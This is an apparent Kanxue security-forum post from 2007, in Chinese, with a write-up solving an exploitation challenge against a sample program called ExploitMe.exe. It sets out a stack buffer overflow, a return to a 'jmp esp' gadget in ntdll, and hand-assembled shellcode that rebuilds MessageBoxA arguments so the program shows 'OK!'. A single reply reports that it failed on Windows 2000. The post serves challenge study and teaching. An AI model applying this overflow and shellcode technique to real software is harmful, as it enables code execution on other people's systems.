首页
社区
课程
招聘
[下载]第二阶段第一题
发表于: 2007-8-29 14:41 5505

[下载]第二阶段第一题

2007-8-29 14:41
5505
溢出代码的前8个字节被ExploitMe.exe用来计算,设结果为n,则ExploitMe.exe将执行004002EE处代码拷贝4n字节的内容到到栈上。n的值当然不能太大。
004002EE  |.  F3:A5         rep     movs dword ptr es:[edi], dword p>
在拷贝后执行到004002F5
004002F5  \.  C3            retn

这里我打算让程序执行到某个系统空间的jmp esp代码处,随便搜索一下,发现了ntdll.7C961EED处的代码符合,而此时的栈定刚好对应到溢出代码的0x30h处。
程序返回跳到
7C961EED  - FFE4            jmp     esp

此时的esp刚好等于溢出代码的0x34处,继续执行
这里要想办法跳到溢出代码的0x8处,所以0x34-0x3A处的代码为
0013FAE8    8BC4            mov     eax, esp
0013FAEA    83E8 2C         sub     eax, 2C
0013FAED    FFE0            jmp     eax

继续执行,跳转到溢出代码的0x8处
0013FABC    83C0 50         add     eax, 50
0013FABF    FF30            push    dword ptr [eax]
0013FAC1    83E8 18         sub     eax, 18
0013FAC4    6A 00           push    0
0013FAC6    50              push    eax
0013FAC7    50              push    eax
0013FAC8    68 90034000     push    400390
0013FACD    8BEC            mov     ebp, esp
0013FACF    83C5 34         add     ebp, 34
0013FAD2    C3              retn

这里要做的时在栈中设置好返回时的地址,我打算直接返回到00400390
00400383  |.  59            pop     ecx
00400384  |.  59            pop     ecx
00400385  |>  57            push    edi                              ; /Style
00400386  |.  68 68024000   push    00400268                         ; |Title = "Try"
0040038B  |.  68 60024000   push    00400260                         ; |Text = "Failed!"
00400390  |.  57            push    edi                              ; |hOwner        ----》回到这里
00400391  |.  FF15 4C024000 call    dword ptr [<&USER32.MessageBoxA>>; \MessageBoxA
00400397  |.  8D4D F0       lea     ecx, dword ptr [ebp-10]
所以还要入栈"Style","Title","Text"参数,由于程序没有字符串"OK!",所以就把字符串"OK!"放到溢出代码的0x40处,还要平衡ebp

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
2
2K下没通过~~
2007-8-29 18:22
0
游客
登录 | 注册 方可回帖
返回
//